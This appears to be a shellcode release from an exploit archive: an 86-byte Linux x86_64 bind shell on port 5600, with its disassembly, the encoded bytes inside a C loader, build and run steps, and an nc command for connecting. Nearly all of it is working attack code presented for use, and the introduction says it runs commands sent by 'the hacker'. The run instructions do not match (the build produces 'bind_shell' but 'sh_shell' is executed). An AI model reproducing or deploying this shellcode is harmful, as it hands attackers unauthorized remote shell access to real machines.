Linux/x86_64 - bindshell (PORT: 5600) - 86 bytes

Hi guyZ,
     This is another shellcode developed by _TERMINAL_CODERS_. The shellcode can bind port 5600 and execute the commands received from hacker.

Source Code

/*
---------------------------------------------------------------------------------------------------
 
Linux/x86_64 - bindshell (PORT: 5600) - 86 bytes
 
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
 
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
 
---------------------------------------------------------------------------------------------------
Disassembly of section .text:
 
0000000000400080 <.text>:
  400080: 48 31 c0              xor    %rax,%rax
  400083: 48 31 f6              xor    %rsi,%rsi
  400086: 99                    cltd   
  400087: 6a 29                 pushq  $0x29
  400089: 58                    pop    %rax
  40008a: ff c6                 inc    %esi
  40008c: 6a 02                 pushq  $0x2
  40008e: 5f                    pop    %rdi
  40008f: 0f 05                 syscall 
  400091: 48 97                 xchg   %rax,%rdi
  400093: 6a 02                 pushq  $0x2
  400095: 66 c7 44 24 02 15 e0  movw   $0xe015,0x2(%rsp)
  40009c: 54                    push   %rsp
  40009d: 5e                    pop    %rsi
  40009e: 52                    push   %rdx
  40009f: 6a 10                 pushq  $0x10
  4000a1: 5a                    pop    %rdx
  4000a2: 6a 31                 pushq  $0x31
  4000a4: 58                    pop    %rax
  4000a5: 0f 05                 syscall 
  4000a7: 50                    push   %rax
  4000a8: 5e                    pop    %rsi
  4000a9: 6a 32                 pushq  $0x32
  4000ab: 58                    pop    %rax
  4000ac: 0f 05                 syscall 
  4000ae: 6a 2b                 pushq  $0x2b
  4000b0: 58                    pop    %rax
  4000b1: 0f 05                 syscall 
  4000b3: 48 97                 xchg   %rax,%rdi
  4000b5: 6a 03                 pushq  $0x3
  4000b7: 5e                    pop    %rsi
  4000b8: ff ce                 dec    %esi
  4000ba: b0 21                 mov    $0x21,%al
  4000bc: 0f 05                 syscall 
  4000be: 75 f8                 jne    0x4000b8
  4000c0: 48 31 c0              xor    %rax,%rax
  4000c3: 99                    cltd   
  4000c4: 48 bb 2f 62 69 6e 2f  movabs $0x68732f2f6e69622f,%rbx
  4000cb: 2f 73 68 
  4000ce: 53                    push   %rbx
  4000cf: 54                    push   %rsp
  4000d0: 5f                    pop    %rdi
  4000d1: 6a 3b                 pushq  $0x3b
  4000d3: 58                    pop    %rax
  4000d4: 0f 05                 syscall
 
---------------------------------------------------------------------------------------------------
 
How To Run
 
$ gcc -o bind_shell bind_shell.c
$ execstack -s sh_shell
$ ./sh_shell
 
How to Connect
 
$ nc <HOST IP ADDRESS> 5600
 
Eg:
 
$ nc 127.0.0.1 5600
 
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\x48\x31\xc0\x48\x31\xf6\x99\x6a\x29\x58\xff\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";
void main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) sh;
    (int)(*func)();
}